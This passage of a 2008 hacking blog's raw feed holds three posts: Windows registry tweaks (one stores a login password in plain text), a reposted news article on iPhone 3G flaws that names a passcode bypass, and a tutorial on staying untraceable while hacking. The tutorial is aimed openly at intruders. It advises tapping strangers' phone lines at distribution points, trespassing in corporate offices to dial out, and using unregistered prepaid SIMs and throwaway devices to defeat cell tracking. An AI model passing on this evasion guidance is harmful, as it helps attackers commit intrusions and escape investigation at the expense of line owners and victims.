/&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Make a new DWORD Value and give name NoRun. Double click and insert value 1 as Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Run Menu From Start Menu (2)&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Find value called Start_ShowRun, double click and insert value 0 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Log Off&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Click Edit &gt; New &gt; Binary Value and give name NoLogOff.&lt;br /&gt;Double click at NoLogOff and insert value 01 00 00 00 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Turn Off Computer Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Click Edit &gt; New &gt; DWORD Value and give name NoClose.&lt;br /&gt;Double click NoClose and give value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cleartype At Logon Screen&lt;/span&gt;&lt;br /&gt;HKEY_USERS/.DEFAULT/Control Panel/Desktop&lt;br /&gt;Double click FontSmoothingType and insert value 2 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Make Different Looks At Logon Screen&lt;/span&gt;&lt;br /&gt;HKEY_USERS/.DEFAULT/Software/Microsoft/Windows/CurrentVersion/ThemeManager&lt;br /&gt;Double click ColorName and insert Metallic text in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Show Administrator At Welcome Screen&lt;/span&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t&lt;br /&gt;Make a new DWORD Value and give name Administrator.&lt;br /&gt;Double click Administrator and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Automatic Login&lt;/span&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon&lt;br /&gt;Double click AltDefaultUserName and insert chosen username account.&lt;br /&gt;Double click AutoAdminLogon and insert value 1 in Value Data.&lt;br /&gt;Make a new DWORD Value ad give name DefaultPassword.&lt;br /&gt;Double click DefaultPassword and insert chosen password account in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Printer Icon &amp;amp; Faxes from Start Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Find value called Start_ShowPrinters and give value 0 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Control Panel From Start Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Find value called Start_ShowControlPanel and double click at those part.&lt;br /&gt;Insert value 0 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide My Pictures From Start Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click at Start_ShowMyPics and insert value 0 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Show Administrative Tools Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click at StartMenuAdminTools and give value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Minimize Start Menu Icon&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click at Start_LargeMFUIcons and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Erase Username At Start Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer&lt;br /&gt;Choose Edit &gt; New &gt; DWORD Value and give name NoUserNameInStartMenu.&lt;br /&gt;Double click NoUserNameInStartMenu and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Prevent Any Change from Start Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Make a new DWORD Value and give name NoChangeStartMenu.&lt;br /&gt;Double click NoChangeStartMenu and insert alue 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide My Recent Documents&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click Start_ShowRecentDocs and insert value 0 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Important Default Shortcut Name In Deskto&lt;/span&gt;p&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/CLSID&lt;br /&gt;Double click at default value for each subkey below:&lt;br /&gt;My Network Places:&lt;br /&gt;{208D2C60-3AEA-1069-A2D7-08002B30309D}&lt;br /&gt;My Computer:&lt;br /&gt;{20D04FE0-3AEA-1069-A2D8-08002B30309D}&lt;br /&gt;My Documents:&lt;br /&gt;{450D8FBA-AD25-11D0-98A8-0800361B1103}&lt;br /&gt;Recycle Bin:&lt;br /&gt;{645FF040-5081-101B-9F08-00AA002F954E}&lt;br /&gt;Default IE Icon:&lt;br /&gt;{871C5380-42A0-1069-A2EA-08002B30309D}&lt;br /&gt;Insert unique name as the substitute default name.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Icon In Desktop&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click at HideIcons and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cleaning All Icon At Desktop&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Make a new DWORD Value and give name NoDesktop.&lt;br /&gt;Double click at NoDesktop and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Make Desktop More Stable&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer&lt;br /&gt;Make a new DWORD Value and give name DesktopProcess.&lt;br /&gt;Doubl click DesktopProcess and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Deleting Program List On Run Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU&lt;br /&gt;At the right window, you will see many software in a row (marked as alphabet a, b, c, d, etc).&lt;br /&gt;To erase it, simply by choosing 1 of (or all) existed program name and press Del button&lt;br /&gt;If it show confirmation window to deleting data, choose Yes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cleaning Recent Documents&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Make a new DWORD Value and give name NoRecentDocsHistory.&lt;br /&gt;Double click at NoRecentDocsHistory and insert value 1 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vanishing Info Tip At Folders Icon In Desktop&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click FolderContentsInfoTip with value 0.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lock Taskbar&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced&lt;br /&gt;Double click at TaskBarSizeMove and insert value 0 in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Deleting Past Items Icons In Taskbar&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\TrayNotify&lt;br /&gt;Erase IconStreams and PastIconsStream, then open Task Manager, at Tab Processes right click at explorer.exe and choose End Process.&lt;br /&gt;Click File &gt; New Task (Run) and re-type explorer and press OK.&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-1.html"&gt;Real tricks-1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-2.html"&gt;Real tricks-2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-3.html"&gt;Real tricks-3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-4.html"&gt;Real tricks-4&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-131652433430929087?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/131652433430929087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=131652433430929087' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/131652433430929087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/131652433430929087'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/real-tricks-4.html' title='Real Tricks -4'/><author><name>Karan</name><uri>http://www.blogger.com/profile/01506768020568385459</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-1027284910104165640</id><published>2008-10-14T23:01:00.009+05:30</published><updated>2008-10-24T20:49:05.315+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Registry'/><title type='text'>Real Tricks -3</title><content type='html'>&lt;span style="font-weight: bold;"&gt;To Speed up Registry Update&lt;/span&gt;&lt;br /&gt;Go to Start &gt; Log Off &gt; Log Off. OR restart expolrer.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Wallpaper&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Control Panel/Desktop&lt;br /&gt;Double click at wallpaper and insert the desired path picture in Value Data.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Recycle Bin Name&lt;/span&gt;&lt;br /&gt;HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}&lt;br /&gt;Double click at option (Default value) give new desired name in Value Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Show Rename In Recycle Bin&lt;/span&gt;&lt;br /&gt;HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}/ShellFolder&lt;br /&gt;Double click at Attributes &gt; Edit Binary Value. In Value Data, change those value into 0000 50 01 00 20.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Recycle Bin&lt;/span&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace&lt;br /&gt;Delete subkey {645FF040-5081-101B-9F08-00AA002F954E}, then Restart computer to see the result.&lt;br /&gt;To show it back, make again the digit number combination {645FF040-5081-101B-9F08-00AA002F954E}.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Adding Shortcut Content Menu In Recycle Bin&lt;/span&gt;&lt;br /&gt;HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}/ShellFolder&lt;br /&gt;Double click Attributes and change digit number in Value Data with the following:&lt;br /&gt;0000 50 01 00 20 &gt; Rename&lt;br /&gt;0000 60 01 00 20 &gt; Delete&lt;br /&gt;0000 70 01 00 20 &gt; Rename &amp;amp; Delete&lt;br /&gt;0000 41 01 00 20 &gt; Copy&lt;br /&gt;0000 42 01 00 20 &gt; Cut&lt;br /&gt;0000 43 01 00 20 &gt; Copy &amp;amp; Cut&lt;br /&gt;0000 44 01 00 20 &gt; Paste&lt;br /&gt;0000 45 01 00 20 &gt; Copy &amp;amp; Paste&lt;br /&gt;0000 46 01 00 20 &gt; Cut &amp;amp; Paste&lt;br /&gt;0000 47 01 00 20 &gt; Cut, Copy &amp;amp; Paste&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Adding Shortcut Content Menu In Recycle Bin With Selection Menu&lt;/span&gt;&lt;br /&gt;HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}/Shell&lt;br /&gt;Click Edit &gt; New &gt; Key give the desired name (ex: Go To Windows Explorer).&lt;br /&gt;Under those new key, go to menu Edit &gt; New &gt; Key again make another new key called Command.&lt;br /&gt;Double click option (Default), and in Value Data, fill with Windows Explorer path(C:\WINDOWS\Explorer.exe).&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-1.html"&gt;Real tricks-1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-2.html"&gt;Real tricks-2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-3.html"&gt;Real tricks-3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-4.html"&gt;Real tricks-4&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-1027284910104165640?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/1027284910104165640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=1027284910104165640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1027284910104165640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1027284910104165640'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/real-tricks-3.html' title='Real Tricks -3'/><author><name>Karan</name><uri>http://www.blogger.com/profile/01506768020568385459</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-6905539380078249970</id><published>2008-10-14T18:57:00.004+05:30</published><updated>2008-10-14T19:12:41.392+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><category scheme='http://www.blogger.com/atom/ns#' term='mobile hacking'/><title type='text'>iphone 3G</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_7tuJ7C_qMvQ/SPSgJnZRmHI/AAAAAAAAABo/5uDPQ5v5TsQ/s1600-h/thumb.cms.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_7tuJ7C_qMvQ/SPSgJnZRmHI/AAAAAAAAABo/5uDPQ5v5TsQ/s320/thumb.cms.jpg" alt="" id="BLOGGER_PHOTO_ID_5257002752102471794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The much-hyped iPhone 3G by Apple is becoming notorious on the Net for its security flaws. According to recent reports by online forums and top gizmo sites on the web, the Apple iPhone has become vulnerable to serious security threats like phishing and spyware.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt; For instance, a security flaw in Apple Inc’s iPhone allows unauthorised users to gain easy access to your private contacts and emails even when the device is ‘locked’, say top mobile review site like intomobile.com and the iphoneblog.com, a site developed around iPhone users. The iPhone comes locked when you buy it from the market. It’s only the operator who can unlock the phone legally.    Meanwhile, network and mobile security experts also point out the flaws in the iPhone’s Safari web browser. “The iPhone’s Safari browser is one of the most vulnerable browsers and is prone to not only phishing but also to spread of spyware. Using APPLE SDK (software development kit), a hacker can create phone spying software which can anonymously send or receive SMS without notifying the owner,” said network security firm Appin’s CEO, Rajat Khare.  &lt;br /&gt;&lt;br /&gt; According to online forums, flaws in the mail and Safari applications bundled with the iPhone leave users of the device at greater risk of phishing attacks. Apple failed to reply to ET’s repeated email queries on the issue. Another vulnerability in the iPhone is URL-spoofing. &lt;br /&gt;&lt;br /&gt; It means that a dodgy domain pointed to by a specially crafted URL can appear to be that of a trusted brand when viewed through the iPhone’s mail or Safari browser applications. The iPhone does not display the URL of a link embedded into an email, making it easier to trick the user into pointing the Safari browser to a phishing website. Even the dialing process of iPhone can be hijacked via JavaScript, the blog sites report.&lt;br /&gt;&lt;br /&gt; Meanwhile, Gizmodo, a too Gizmo review site and a MacRumors.com claim that it takes only three taps to gain access to the locked iPhones. “Earlier hacking reports were predominantly on the Windows platform, now with iPhone gaining popularity, hackers have trained their eyes on it. Although Apple has released the latest version of security software, it is unlikely that it will solve the issues completely,” said Trend Micro country manager – India and SAARC, Niraj Kaushik. &lt;br /&gt; The Safari browser of the iPhone can very easily lead to the phone being hacked, say online forums. Using the vulnerability in the Apple code the hacker can spy all the activity done on the Phone. Once broken the hacker can access, personal data, SMS text files, contact information, call history, passwords, e-mail, browser history, and voice mail information could be obtained by a remote attacker. &lt;br /&gt;&lt;br /&gt; The hacker can also exploit the iPhone to dial a phone number or send a text message without prompting the user. The iPhone can also be turned into a microphone to eavesdrop remote conversations. Experts suggest a third party anti virus software to be installed on the iPhone, in order to ensure protection during download of data untrustworthy sources. &lt;br /&gt; Meanwhile Apple has been fixing bugs in the iPhone regularly. For instance, Apple addressed ‘the passcode flaw’ in iPhones last January. The fix prevented unauthorized users from circumventing the password-protected locking feature. The problem has however, reemerged in new versions of the iPhone software. &lt;br /&gt;&lt;br /&gt; The Passcode Lock feature is designed to prevent applications from being launched unless the correct passcode is entered. However, the flaw allows attackers to bypass the passcode-locking feature by just touching “Emergency Call” on the password-entry screen and then double tapping the home button.  &lt;br /&gt;&lt;br /&gt; Though the iPhone was launched in India, last month, the phone may not find it replacing other business phones used by corporate executives, if Apple doesn’t fix the flaws fast enough.&lt;br /&gt;&lt;br /&gt;source:-Economic Times&lt;br /&gt;http://economictimes.indiatimes.com/News/News_By_Industry/Apple_iPhone_prone_to_phishing_say_Net_forums/articleshow/3532345.cms&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-6905539380078249970?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/6905539380078249970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=6905539380078249970' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6905539380078249970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6905539380078249970'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/iphone-3g.html' title='iphone 3G'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_7tuJ7C_qMvQ/SPSgJnZRmHI/AAAAAAAAABo/5uDPQ5v5TsQ/s72-c/thumb.cms.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-1289584386270957481</id><published>2008-10-14T16:51:00.003+05:30</published><updated>2008-10-14T17:08:08.330+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='tracing'/><category scheme='http://www.blogger.com/atom/ns#' term='mobile hacking'/><title type='text'>Staying anonymous on net</title><content type='html'>I always wondered whether i could ever transform myself into wind. Moving from places to places, with no rules, no restrictions and above all no individuality. It looks distant reality in real life but being anonymous on net is not that  tough.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Before you can start to hack systems you need a platform to work from. This platform must be stable and not easily traceable. How does one become anonymous on the Internet? . Let us look.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Permanent connection (leased line, cable, fiber)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The problem with these connections is that it needs to be installed by your local Telecom at a premise where you are physically located. Most ISPs wants you to sign a contract when you install a permanent line, and ask for identification papers. So, unless you can produce false identification papers, company papers etc., and have access to a building that cannot be directly tied to your name, this is not a good idea.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Dial-up&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Many ISPs provides “free dial-up” accounts. The problem is that logs are kept either at the ISP, or at Telecom of calls that were made. At the ISP side this is normally done using RADIUS or TACACS. The RADIUS server will record the time that you dialed in, the connection speed, the reason for disconnecting, the time that you disconnected and the userID that you used. Armed with his information the Telecom can usually provide the source number of the call (YOUR number). For the Telecom to pinpoint the source of the call they need the destination number (the number you called), the time the call was placed and the duration of the call. In many cases, the Telecom need not be involved at all, as the ISP records the source number themselves via Caller Line Identification (CLI).&lt;br /&gt;&lt;br /&gt;Let us assume that we find the DNS name “c1-pta-25.dial-up.net” in our logs and we want to trace the attacker. We also assume that the ISP does not support caller line identification, and the attacker was using a compromised account. We contact the ISP to find out what the destination number would be with a DNS name like that. The ISP provides the number - e.g. +27 12 664 5555. It’s a hunting line - meaning that there is one number with many phone lines connected to it. We also tell the ISP the time and date the attack took place (from our logs files). Let us assume the attack took place 2000/8/2 at 17h17. The RADIUS server tells us what userID was used, as well as the time it was connected: (these are the typical logs)&lt;br /&gt;&lt;br /&gt;6774138 2000-08-02 17:05:00.0 2000-08-02 17:25:00.0 demo1 icon.co.za 168.209.4.61 2 Async 196.34.158.25 52000 1248 00010 B6B 87369 617378 null 11&lt;br /&gt;&lt;br /&gt;These logs tell us that user “demo1″ was connected from 17h05 to 17h25 on the date the attack took place. It was dialing in at a speed of 52kbps, it send 87369 bytes, and received 617378 bytes. We now have the start time of the call, the destination number and the duration of the call (20 minutes). Telecom will supply us with source number as well as account details - e.g. physical location. As you can see, phoning from your house to an ISP (even using a compromised or free ID) is not making any sense.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mobile (GSM) dial-up&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Maybe using a GSM mobile phone will help? What can the GSM mobile service providers extract from their logs? What is logged? A lot it seems. GSM switches send raw logging information to systems that crunch the data into what is called Call Data Records (CDRs). More systems crush CDRs in SCDRs (Simple CDR). The SCDRs is sent to the various providers for billing. How does a CDR look like? Hereby an example of a broken down CDR:&lt;br /&gt;&lt;br /&gt;99042300000123000004018927000000005216003&lt;br /&gt;&lt;br /&gt;27834486997&lt;br /&gt;&lt;br /&gt;9903220753571830&lt;br /&gt;&lt;br /&gt;834544204&lt;br /&gt;&lt;br /&gt;000001MOBILE000&lt;br /&gt;&lt;br /&gt;0000001000000000000000000&lt;br /&gt;&lt;br /&gt;AIRTIME1:24&lt;br /&gt;&lt;br /&gt;20377&lt;br /&gt;&lt;br /&gt;UON0000T11L&lt;br /&gt;&lt;br /&gt;MTL420121414652470&lt;br /&gt;&lt;br /&gt;This tells us that date and time the call was placed (1st string), the source number (+27 83 448 6997), the destination number (834544204), that it was made from a mobile phone, the duration of the call (1 minute 24 seconds), the cellID (20377), the three letter code for the service provider (MTL = Mtel in this case), and the unique mobile device number (IMEI number) 420121414652470. Another database can quickly identify the location (long/lat) of the cell. This database typically looks like this:&lt;br /&gt;&lt;br /&gt;20377&lt;br /&gt;&lt;br /&gt;25731&lt;br /&gt;&lt;br /&gt;-26.043059&lt;br /&gt;&lt;br /&gt;28.011393&lt;br /&gt;&lt;br /&gt;120&lt;br /&gt;&lt;br /&gt;32&lt;br /&gt;&lt;br /&gt;103&lt;br /&gt;&lt;br /&gt;“Didata Oval uCell”,”Sandton”&lt;br /&gt;&lt;br /&gt;From this database we can see that the exact longitude and latitude of the cell (in this case in the middle of Sandton, Johannesburg) and the description of the cell. The call was thus placed from the Dimension Data Oval in Sandton. Other databases provide the account information for the specific source number. It is important to note that the IMEI number is also logged - using your phone to phone your mother, switching SIM cards, moving to a different location and hacking the NSA is not a good idea using the same device is not bright - the IMEI number stays the same, and links you to all other calls that you have made. Building a profile is very easy and you’ll be nailed in no time.&lt;br /&gt;&lt;br /&gt;Using time advances and additional tracking cells, it is theoretically possible to track you up to a resolution of 100 meters, but as the switches only keep these logs for 24 hours, it is usually done in real time with other tracking devices - and only in extreme situations. Bottom line - even if you use a GSM mobile phone as modem device, the GSM service providers knows a lot more about you than you might suspect.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So how do we use dial in accounts? It seems that having a compromised dial in account does not help at all, but common sense goes a long way. Suppose you used a landline, and they track you down to someone that does not even owns a computer? Or to the PABX of a business? Or to a payphone? Keeping all of above in mind - hereby a list of notes: (all kinda common sense)&lt;br /&gt;&lt;br /&gt;Landlines:&lt;br /&gt;&lt;br /&gt;1. Tag your notebook computer, modem and croc-clips along to a DP (distribution point). These are found all around - it is not discussed in detail here as it differs from country to country. Choose a random line and phone.&lt;br /&gt;&lt;br /&gt;2. In many cases one can walk into a large corporation with a notebook and a suit with no questions asked. Find any empty office, sit down, plug in and dial.&lt;br /&gt;&lt;br /&gt;3. etc…use your imagination&lt;br /&gt;&lt;br /&gt;GSM:&lt;br /&gt;&lt;br /&gt;1. Remember that the device number (IMEI) is logged (and it can be blocked). Keep this in mind! The ultimate would be to use a single device only once. - never use the device in a location that is linked to you (e.g. a microcell inside your office)&lt;br /&gt;&lt;br /&gt;2. Try to use either a very densely populated cell (shopping malls) or a location where there is only one tracking cell (like close to the highway) as it makes it very hard to do spot positioning. Moving around while you are online also makes it much harder to track you down.&lt;br /&gt;&lt;br /&gt;3. Use prepaid cards! For obvious reasons you do not want the source number to point directly to you. Prepaid cards are readily available without any form of identification. (note: some prepaid cards does not have data facilities, so find out first)&lt;br /&gt;&lt;br /&gt;4. GSM has data limitations - currently the maximum data rate is 9600bps.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using the I’net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;All of this seems like a lot of trouble. Is there not an easier way of becoming anonymous on the Internet? Indeed there are many ways to skin a cat. It really depends on what type of connectivity you need. Lets assume all you want to do is sending anonymous email (I look at email specifically because many of the techniques involved can be used for other services such as HTTP, FTP etc.). How difficult could it be?&lt;br /&gt;&lt;br /&gt;For many individuals it seems that registering a fake Hotmail, Yahoo etc. account and popping a flame email to a unsuspected recipient is the way to go. Doing this could land you in a lot of trouble. Lets look at a header of email that originating from Yahoo:&lt;br /&gt;&lt;br /&gt;Return-Path:&lt;br /&gt;&lt;br /&gt;Received: from web111.yahoomail.com (web111.yahoomail.com [205.180.60.81])&lt;br /&gt;&lt;br /&gt;by wips.sensepost.com (8.9.3/1.0.0) with SMTP id MAA04124&lt;br /&gt;&lt;br /&gt;for ; Sat, 15 Jul 2000 12:35:55 +0200 (SAST)&lt;br /&gt;&lt;br /&gt;(envelope-from r_h@yahoo.com)&lt;br /&gt;&lt;br /&gt;Received: (qmail 636 invoked by uid 60001); 15 Jul 2000 10:37:15 -0000&lt;br /&gt;&lt;br /&gt;Message-ID: &lt;20000715103715.635.qmail@web111.yahoomail.com&gt;&lt;br /&gt;&lt;br /&gt;Received: from [196.34.250.7] by web111.yahoomail.com; Sat,&lt;br /&gt;&lt;br /&gt;15 Jul 2000 03:37:15 PDT&lt;br /&gt;&lt;br /&gt;Date: Sat, 15 Jul 2000 03:37:15 -0700 (PDT)&lt;br /&gt;&lt;br /&gt;From: RH&lt;br /&gt;&lt;br /&gt;Subject: Hello&lt;br 